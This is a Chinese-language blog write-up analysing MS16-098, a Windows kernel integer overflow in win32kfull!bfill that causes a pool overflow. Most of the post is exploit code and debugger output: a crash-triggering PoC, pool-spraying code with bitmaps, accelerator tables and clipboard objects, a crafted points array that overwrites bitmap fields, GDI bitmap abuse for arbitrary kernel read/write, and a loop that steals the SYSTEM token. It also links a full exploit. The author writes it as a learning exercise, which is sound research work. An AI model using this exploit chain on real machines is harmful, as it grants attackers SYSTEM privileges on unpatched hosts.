-
-
[原创]MS16-098 Windows内核池溢出漏洞分析及利用
-
2021-5-10 22:01 8840
-
MS16-098
前言
前段时间找暑假实习时被问到内核池,显然我是不懂的,于是就找了一个洞来学习一下,如果哪里分析得有问题希望师傅们斧正。
分析环境
win10-1511-x64
漏洞简述
MS16-098是由整数溢出漏洞导致的池溢出 (pool overflow) 继而使用Abusing Bitmap技术获取到 system token 完成权限提升,其中池风水和使用 GDI objects 获得任意地址读写的技术是学习的重点。
漏洞分析
漏洞位于win32kfull!bfill函数中,通过对v19的精心构造可以造成0x30*v19溢出,从而导致申请一个很小的pool,而原本应该是一个很大的pool,显然这会造成池溢出,并且在该函数最后释放这个pool时触发BSOD。
修复前:
1 2 3 4 5 6 7 8 9 | v19 = * ((_DWORD * )a1 + 1 ); if ( v19 > 0x14 ) { result = (__int64)PALLOCMEM2( 0x30 * v19, 'gdeG' , 0 ); v20 = (char * )result; if ( !result ) return result; v33 = 1 ; } |
修复后:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 | v19 = * ((_DWORD * )a1 + 1 ); if ( v19 > 0x14 ) { if ( UIntMult( 0x30u , v19, &puResult) < 0 ) return 0i64 ; v20 = (char * )PALLOCMEM2(puResult, 'gdeG' , 0 ); v35 = v20; if ( !v20 ) return 0i64 ; v33 = 1 ; } HRESULT __stdcall UIntMult(UINT uMultiplicand, UINT uMultiplier, UINT * puResult) { unsigned __int64 v3; / / r9 HRESULT result; / / eax v3 = uMultiplier * (unsigned __int64)uMultiplicand; if ( v3 > 0xFFFFFFFF ) { * puResult = - 1 ; result = 0x80070216 ; } else { * puResult = v3; result = 0 ; } return result; } |
那么这个池溢出如何利用呢?我认为应该有以下思路
到达漏洞函数
构造内核池风水
控制溢出的内容
借助bitmap实现任意地址读写
steal system token
到达漏洞函数
这一步我觉得对我这种菜鸡来说是最难的、几乎无法独立实现的。我尝试在ida中通过交叉引用找到一个Nt开头的函数,我认为这是内核中系统调用的接口,是可以通过用户态api直接到达的,然后在每个调用点下断,不断尝试;并且通过一些参数函数的名字判断其功能;找之前类似模块的漏洞的poc。这需要极大的耐心和时间成本,而我是个 windows 萌新 ,所以我还是去找了网上很多现成的poc,毕竟这是个几年前的洞。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 | / / Create a Point array static POINT points[ 0x3fe01 ]; / / Get Device context of desktop hwnd HDC hdc = GetDC(NULL); / / Get a compatible Device Context to assign Bitmap to HDC hMemDC = CreateCompatibleDC(hdc); / / Create Bitmap Object HGDIOBJ bitmap = CreateBitmap( 0x5a , 0x1f , 1 , 32 , NULL); / / Select the Bitmap into the Compatible DC HGDIOBJ bitobj = (HGDIOBJ)SelectObject(hMemDC, bitmap); / / Begin path BeginPath(hMemDC); for ( int i = 0 ; i < 0x156 ; i + + ) { PolylineTo(hMemDC, points, 0x3fe01 ); / / ( 0x3fe01 * 0x156 + 1 ) * 0x30 = 0x1 . 0000.0050 } / / End the path EndPath(hMemDC); / / Fill the path FillPath(hMemDC); |
以上是可以触发BSOD的代码,至于为什么是0x3fe01
和0x156
,我觉得只要能造成溢出应该没啥大问题。
漏洞利用
构造内核池风水
在构造池风水前我们需要知道的是:
内核池每页大小为 0x1000 字节,比这个还要大的分配请求会被分配到更大的内核池
任何请求大小超过 0x808 字节会被分配到内存页的起始处
连续的请求会从页的末尾分配
分配的对象通常会加上 0x10 字节大小的 pool header,比如请求 0x50 字节的内存,实际包含了 pool header 会分配 0x60 字节大小的内存。
还有一点很重要,上文poc造成崩溃的原因是BAD_POOL_HEADER,也就是bfill函数最后释放了我们溢出的内存,而在释放时会检查相邻对象的pool header,溢出导致了它被破坏了所以造成crash。如果这块溢出的内存被分配在内存页的末尾,也就不存在next chunk那么就不会因此造成崩溃。
上文提到整数溢出为0x50,也就是分配了0x60的内存,我们需要留足够的空间来存放它。
首先分配5000个大小为 0xf80 字节的 bitmap 对象,来创建新的内存页。
1 2 | CreateBitmap( 1670 , 2 , 1 , 8 , NULL); / / allocation size 0xf80 = 0xd10 ( 1670 * 2 * 8 / 8 ) + 0x258 + 0x10 (pool header) / / 这里的 0x258 不同的系统不一样,需要具体调试 |
继续分配两个accelerator对象,每个大小0x40,也就是0x80,正好填充新分配内存页的空缺。
1 2 3 4 5 6 7 8 9 10 | for ( INT i = 0 ; i < 7000 ; i + + ) { hAccel = CreateAcceleratorTableA(lpAccel, 1 ); hAccel2 = CreateAcceleratorTableW(lpAccel, 1 ); if (!hAccel || !hAccel2) { printf( "[%d]Create Accel error:%X\n" ,i, GetLastError()); exit( 1 ); } pAccels[i] = hAccel; pAccels2[i] = hAccel2; } |
接着释放之前分配的0xf80的bitmap对象,这样内存页的开始处就空出来 0xf80 字节的空间。
接下来需要填充前面空下来的0xf80字节的空间,网上的前辈是这样说的:
然后分配了 5000 个大小为 0xbc0 字节的对象,这个大小非常关键,因为如果 bitmap 对象直接被放到受到攻击的对象旁边的话,溢出不会覆盖到 bitmap 对象关键的成员变量(后面会详细讲)。此外,作者通过反复试验找到了 CreateEllipticRgn
1 2 3 | for ( int k = 0 ; k < 5000 ; k + + ) { CreateEllipticRgn( 0x79 , 0x79 , 1 , 1 ); / / size = 0xbc0 } |
其实我觉得这个对象的大小只要对于我们溢出的内存对0x30取余为0x28就没问题(这个后面详细说),并且也没必要去找函数,直接用bitmap自定义大小不好吗。。。这只是我的猜测,没有去实际调试,因为我已经被蓝屏搞吐了。。。如果有什么问题,欢迎师傅们提出。
有了前面的0xbc0,末尾的0x80,那么还剩0x3c0,再分配5000个大小为0x3c0字节的bitmap对象填充每页内存页剩余的空间,也就是我们会去控制的bitmap。
1 2 3 4 | for ( int k = 0 ; k < 5000 ; k + + ) { bmp = CreateBitmap( 0x54 , 1 , 1 , 32 , NULL); / / size = 3c0 = 0x150 ( 0x54 * 1 * 32 / 8 ) + 0x258 + 0x10 bitmaps[k] = bmp; } |
最后一步是把内存中所有0x60大小的先占满了,那么后面分配有溢出的对象时几乎肯定会落在我们的内存布局中,再释放末尾的0x80的accelerator
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 | void AllocateClipBoard2(unsigned int size) { BYTE * buffer ; buffer = (PBYTE)malloc(size); memset( buffer , 0x41 , size); buffer [size - 1 ] = 0x00 ; const size_t len = size; HGLOBAL hMem = GlobalAlloc(GMEM_MOVEABLE, len ); memcpy(GlobalLock(hMem), buffer , len ); GlobalUnlock(hMem); / / OpenClipboard( 0 ); / / EmptyClipboard(); SetClipboardData(CF_TEXT, hMem); / / CloseClipboard(); GlobalFree(hMem); } · · · / / Allocate 17500 clipboard objects of size 0x60 to fill any free memory locations of size 0x60 for ( int k = 0 ; k < 1700 ; k + + ) { / / 1500 AllocateClipBoard2( 0x30 ); } / / delete 2000 of the allocated accelerator tables to make holes at the end of the page in our spray. for ( int k = 2000 ; k < 4000 ; k + + ) { DestroyAcceleratorTable(pAccels[k]); DestroyAcceleratorTable(pAccels2[k]); } |
最后的内存布局:
1 2 3 | | - - - - - - - - - - - - - - - - - - - - - | - - - - - - - - - - - - - - - - - - - - - | - - - - - - - - - - - - | | 0xbc0 (region alloc) | 0x3c0 (bitmap alloc) | 0x80 (free) | | - - - - - - - - - - - - - - - - - - - - - | - - - - - - - - - - - - - - - - - - - - - | - - - - - - - - - - - - | |
控制溢出的内容
在ida中对bfill进行分析,发现这块内存只在调用bConstructGET
函数时被用到
接着在ida中对win32kbase!bConstructGET进行分析,结合动态调试发现:bConstructGET函数会遍历points数组相邻的两个点并通过AddEdgeToGET对目标内存赋值。然而这个函数有点复杂,想要控制溢出的内容并且不破坏pool header没那么简单。
1 2 3 4 5 6 7 | while ( (unsigned __int64)first < v13 ) { v11 = AddEdgeToGET((struct EDGE * )a2, dst, second, first, a4); second = first; dst = v11; + + first; } |
在调用AddEdgeToGET时下断,查看池风水
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 | 0 : kd> dc 0xfffff901711f2fb0 - 10 fffff901` 711f2fa0 23060002 67646547 00000001 00000080 ... #Gedg........ fffff901` 711f2fb0 00000000 00000000 00000000 00000000 ................ fffff901` 711f2fc0 2d040004 63617355 32033abb e81ef166 ... - Usac.:. 2f ... fffff901` 711f2fd0 00000000 00000000 00000000 00000000 ................ fffff901` 711f2fe0 00000000 00000000 00000001 00000080 ................ fffff901` 711f2ff0 00000000 00000000 00000000 00000000 ................ fffff901` 711f3000 23bc0000 34306847 3203257b e81ef166 ... #Gh04{%.2f... fffff901` 711f3010 0204173c 00000000 00000000 00000000 <............... 0 : kd> dc fffff901` 711f3000 + bc0 fffff901` 711f3bc0 233c00bc 35306847 00000000 00000000 ..< #Gh05........ fffff901` 711f3bd0 01051f10 00000000 00000000 00000000 ................ fffff901` 711f3be0 00000000 00000000 00000000 00000000 ................ fffff901` 711f3bf0 01051f10 00000000 00000000 00000000 ................ fffff901` 711f3c00 00000000 00000000 00000054 00000001 ........T....... fffff901` 711f3c10 00000150 00000000 711f3e28 fffff901 P.......(>.q.... fffff901` 711f3c20 711f3e28 fffff901 00000150 0000304c (>.q....P...L0.. fffff901` 711f3c30 00000006 00010000 00000000 00000000 ................ 0 : kd> dc fffff901` 711f3000 + bc0 + 1000 fffff901` 711f4bc0 233c00bc 35306847 00000000 00000000 ..< #Gh05........ fffff901` 711f4bd0 01051f11 00000000 00000000 00000000 ................ fffff901` 711f4be0 00000000 00000000 00000000 00000000 ................ fffff901` 711f4bf0 01051f11 00000000 00000000 00000000 ................ fffff901` 711f4c00 00000000 00000000 00000054 00000001 ........T....... fffff901` 711f4c10 00000150 00000000 711f4e28 fffff901 P.......(N.q.... fffff901` 711f4c20 711f4e28 fffff901 00000150 0000304d (N.q....P...M0.. fffff901` 711f4c30 00000006 00010000 00000000 00000000 ................ |
查看points数组在内存中的分布,观察到AddEdgeToGET第四个参数是points[0],而第三个参数在一次循环中为0,并且我们给的xy都被左移了4位
1 2 3 4 5 6 7 8 9 | 0 : kd> dd 0xfffff90140786040 fffff901` 40786040 00000000 00000000 00000010 00000020 fffff901` 40786050 00000000 00000000 00000000 00000000 fffff901` 40786060 00000000 00000000 00000000 00000000 fffff901` 40786070 00000000 00000000 00000000 00000000 fffff901` 40786080 00000000 00000000 00000000 00000000 fffff901` 40786090 00000000 00000000 00000000 00000000 fffff901` 407860a0 00000000 00000000 00000000 00000000 fffff901` 407860b0 00000000 00000000 00000000 00000000 |
为了到达我们想要控制的bitmap,需要绕过以下几个return,使得每次循环覆写的目标内存+=0x30
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 | if ( a5 ) { v26 = a5 - >top; if ( biggerY < v26 ) / / 0 return dst; v27 = a5 - >bottom; if ( firstY > v27 ) / / 0x1f0 return dst; / / good pass if ( firstY < v26 ) { v6 = firstY; v14 = 1 ; firstY = a5 - >top; } if ( biggerY > v27 ) biggerY = a5 - >bottom; } v15 = (firstY + 15 ) >> 4 ; v16 = ((biggerY + 15 ) >> 4 ) - v15; * ((_DWORD * )dst + 4 ) = v15; * ((_DWORD * )dst + 2 ) = v16; if ( v16 < = 0 ) return dst; · · · result = (struct EDGE * )((char * )dst + 0x30 ); * (_QWORD * )a1 = dst; return result; |
我们的目标是覆写sizlBitmap,然后通过Get\SetBitmapBits覆写下一个Bitmap的pvscan0,使其作为一个Manager
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 | typedef struct { ULONG64 dhsurf; / / 0x00 ULONG64 hsurf; / / 0x08 ULONG64 dhpdev; / / 0x10 ULONG64 hdev; / / 0x18 SIZEL sizlBitmap; / / 0x20 ULONG64 cjBits; / / 0x28 ULONG64 pvBits; / / 0x30 ULONG64 pvScan0; / / 0x38 ULONG32 lDelta; / / 0x40 ULONG32 iUniq; / / 0x44 ULONG32 iBitmapFormat; / / 0x48 USHORT iType; / / 0x4C USHORT fjBitmap; / / 0x4E } SURFOBJ64; / / sizeof = 0x50 |
1 2 3 4 5 6 7 8 9 | 0 : kd> dq fffff901` 7127c000 + bc0 + 10 + 18 fffff901` 7127cbe8 00000000 ` 00000000 00000000 ` 01051eb2 fffff901` 7127cbf8 00000000 ` 00000000 00000000 ` 00000000 fffff901` 7127cc08 00000001 ` 00000054 00000000 ` 00000150 fffff901` 7127cc18 fffff901` 7127ce28 fffff901` 7127ce28 fffff901` 7127cc28 00002555 ` 00000150 00010000 ` 00000006 fffff901` 7127cc38 00000000 ` 00000000 00000000 ` 04800200 fffff901` 7127cc48 00000000 ` 00000000 00000000 ` 00000000 fffff901` 7127cc58 00000000 ` 00000000 00000000 ` 00000000 |
1 2 | 0 : kd> ? fffff901` 7127cc08 - 0xfffff9017127bfb0 Evaluate expression: 3160 = 00000000 ` 00000c58 |
0xc58 = 0x30 * 41 + 0x28 !
之前的构造池风水就是为了我们刚好可以利用AddEdgeToGET开头的代码对目标内存的赋值来更改sizlBitmap
1 2 3 4 5 6 7 8 9 10 11 12 13 | secondY = start - >y; v6 = 0 ; firstY = pre - >y; v8 = secondY - firstY; if ( secondY - firstY < 0 ) { v13 = pre - >x; v8 = firstY - start - >y; v11 = start - >x; biggerY = firstY; * ((_DWORD * )dst + 10 ) = - 1 ; firstY = secondY; } |
对于bConstructGET
这个函数,我的理解是,每调用一次PolylineTo
都会根据所给points对目标内存从头到尾进行一次赋值。
结合对AddEdgeToGET
函数的逆向,points如下构造,需要注意的是points前后都多了一个(0,0)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 | static POINT points[ 0x3fe01 ]; for ( int l = 0 ; l < 62 ; l + + ) { / / slide to target points[l].y = (l + 1 ) % 0x1f ; points[l + 1 ].y = (l + 2 ) % 0x1f ; } for ( int i = 62 ; i < 0x3fe01 ; i + + ) { points[i].y = 0x777 ; } points[ 0x3fe00 ].y = 7 ; / / 0x777 - - - - - 0x07 - - - - - 0x00 for ( int i = 0 ; i < 0x156 ; i + + ) { if (i = = 1 ) { / / 调用一次PolylineTo即可达到目的 for ( int j = 0 ; j < 0x3fe01 ; j + + ) { points[j].y = 0x777 ; } } if (!PolylineTo(hMemDC, points, 0x3FE01 )) { / / ( 0x3fe01 * 0x156 + 1 ) * 0x30 = 0x1 . 0000.0050 fprintf(stderr, "[!] PolylineTo() Failed: %x\r\n" , GetLastError()); } } |
接着我们成功让我们的exp从FillPath函数中 返回(无数次BSOD。。。),但是在程序退出的时候还是造成了crash,原因应该是之前对内存的赋值破坏了堆风水中一些对象的header导致在程序退出释放这些对象的时候触发异常。也就是说我们需要清理现场。
找到被我们覆盖了sizlBitmap,覆盖下一个bitmap的pvscan0实现任意地址写(详细的方法可以找一下abusing bitmap相关的文章,这里不再赘述)。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 | for ( int i = 0 ; i < 5000 ; i + + ) { recvByte = GetBitmapBits(bitmaps[i], 0x1000 , recvBuf); if (recvByte > 0x150 ) { targetBitmapIndex = i; printf( "I got you [%d]\n" , targetBitmapIndex); break ; } } ManagerHandle = bitmaps[targetBitmapIndex + 1 ]; WorkHandle = bitmaps[targetBitmapIndex]; ULONG64 leak = recvBuf[ 67 ] - 0x40 ; printf( "[@]Leak:%p" , leak); recvBuf[ 0xdf8 / 8 ] = leak - 0x3e0 ; SetBitmapBits(WorkHandle, 0x1000 , recvBuf); |
在尝试寻找被覆盖的bitmap时,再次蓝屏,但原因很清晰,在调用GetBitmapBits时访问了无效的地址
1 2 3 4 5 6 7 8 9 10 11 | 1 : kd> .cxr 0xffffd001648dcdc0 rax = 0000000100000000 rbx = ffffd001648dd8c8 rcx = ffffd001648dd8d0 rdx = ffffd001648dd8d0 rsi = fffff901711d6bd0 rdi = 0000000100000000 rip = fffff9605edba8a3 rsp = ffffd001648dd7e8 rbp = ffffd001648dd920 r8 = fffff9605ece7b70 r9 = 0000000000000000 r10 = 7ffff90140010698 r11 = 7ffffffffffffffc r12 = ffffd001648dda18 r13 = 00000190ffae0000 r14 = 0000000000000000 r15 = 0000000000001000 iopl = 0 nv up ei pl nz na po nc cs = 0010 ss = 0018 ds = 002b es = 002b fs = 0053 gs = 002b efl = 00010206 win32kbase!PDEVOBJ::bAllowShareAccess + 0x3 : fffff960` 5edba8a3 8b5038 mov edx,dword ptr [rax + 38h ] ds: 002b : 00000001 ` 00000038 = ???????? |
幸好这个地址是可以在用户态直接申请的,为了方便可以直接对00000001`00000000全赋值1,就可以进入一个看似正常的分支
1 2 3 4 5 6 7 8 9 10 11 12 13 | void __fastcall NEEDGRELOCK::vLock(NEEDGRELOCK * this, struct PDEVOBJ * a2) { __int64 v3; / / rdi * (_QWORD * )this = 0i64 ; v3 = * (_QWORD * )a2; / / v3 = 00000001 ` 00000000 if ( * (_QWORD * )a2 && !PDEVOBJ::bAllowShareAccess(a2) && ( * (_DWORD * )(v3 + 0x38 ) & 0x8000 ) = = 0 ) { * (_QWORD * )this = ghsemGreLock; EngAcquireSemaphore((HSEMAPHORE)ghsemGreLock); EtwTraceGreLockAcquireSemaphoreExclusive(L "hsem" , * (_QWORD * )this, 2i64 ); } } |
然后,他又蓝屏了!
1 2 3 4 5 6 7 8 9 10 11 12 | 1 : kd> .trap 0xffffd0007ba1d2e0 NOTE: The trap frame does not contain all registers. Some register values may be zeroed or incorrect. rax = fffff901711c9bd0 rbx = 0000000000000000 rcx = 0000000000000cf4 rdx = 0000000000005cd6 rsi = 0000000000000000 rdi = 0000000000000000 rip = fffff96043e3f70b rsp = ffffd0007ba1d470 rbp = 0000000000000001 r8 = 0000000000000000 r9 = 0000000000000000 r10 = ffffd0007ba1d480 r11 = ffffd0007ba1d3d0 r12 = 0000000000000000 r13 = 0000000000000000 r14 = 0000000000000000 r15 = 0000000000000000 iopl = 0 nv up ei pl zr na po nc win32kbase!MultiUserGreCleanupHmgOwnRemoveAllLocks + 0xab : fffff960` 43e3f70b 44897808 mov dword ptr [rax + 8 ],r15d ds:fffff901` 711c9bd8 = ???????? |
之前被我们修改的bitmap的那页内存被取消了映射
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 | 1 : kd> dq fffff901711c9bc0 fffff901` 711c9bc0 35306847 ` 233c00bc 00000000 ` 00000000 fffff901` 711c9bd0 00000000 ` 01051ef3 00000000 `ffffffff fffff901` 711c9be0 00000000 ` 00000000 00000000 ` 00000000 fffff901` 711c9bf0 00000000 ` 01051ef3 00000000 ` 00000000 fffff901` 711c9c00 00000000 ` 00000000 00000001 ` 00000054 fffff901` 711c9c10 00000000 ` 00000150 fffff901` 711c9e28 fffff901` 711c9c20 fffff901` 711c9c08 00002807 ` 00000150 fffff901` 711c9c30 00010000 ` 00000006 00000000 ` 00000000 1 : kd> dq fffff901711cabc0 fffff901` 711cabc0 35306847 ` 233c00bc 00000000 ` 00000000 fffff901` 711cabd0 00000000 ` 01051ef3 00000000 ` 00000000 fffff901` 711cabe0 00000000 ` 00000000 00000000 ` 00000000 fffff901` 711cabf0 00000000 ` 01051ef3 00000000 ` 00000000 fffff901` 711cac00 00000000 ` 00000000 00000001 ` 00000054 fffff901` 711cac10 00000000 ` 00000150 fffff901` 711cae28 fffff901` 711cac20 fffff901` 711c9c20 00002989 ` 00000150 fffff901` 711cac30 00010000 ` 00000006 00000000 ` 00000000 |
观察这两个相邻的bitmap,hHmgr hsurf 在被覆盖时改成了相同的,我猜测原因在这。我们将它改回来,终于exp可以正常退出!
1 2 3 4 5 | ULONG64 recv = 0 ; BitmapRead((PULONG64)(leak + 0xbd0 ), &recv); recv - = 2 ; BitmapWrite((PULONG64)(leak - 0x1000 + 0xbd0 ), recv); BitmapWrite((PULONG64)(leak - 0x1000 + 0xbf0 ), recv); |
steal system token
通过EnumDeviceDrivers拿到kernel基地址,加载ntoskrnl.exe模块拿到PsInitialSystemProcess的偏移,再用bitmap去读取其在内核中的值拿到system token。
最后遍历ActiveProcessLinks替换token
1 2 3 4 5 6 | do { BitmapRead((PULONG64)(Eprocess + ActiveProcessLinks), &Eprocess); Eprocess - = ActiveProcessLinks; BitmapRead((PULONG64)(Eprocess + UniqueProcessIdOffset), &PID); BitmapRead((PULONG64)(Eprocess + TokenOffset), &CurrentToken); } while (PID ! = CurrentPID); |
完整EXP:https://github.com/s1vona/CVEs/blob/main/ms16-098/ms16-098.cpp
参考链接
https://sensepost.com/blog/2017/exploiting-ms16-098-rgnobj-integer-overflow-on-windows-8.1-x64-bit-by-abusing-gdi-objects/
https://xz.aliyun.com/t/2919
https://security.tencent.com/index.php/blog/msg/117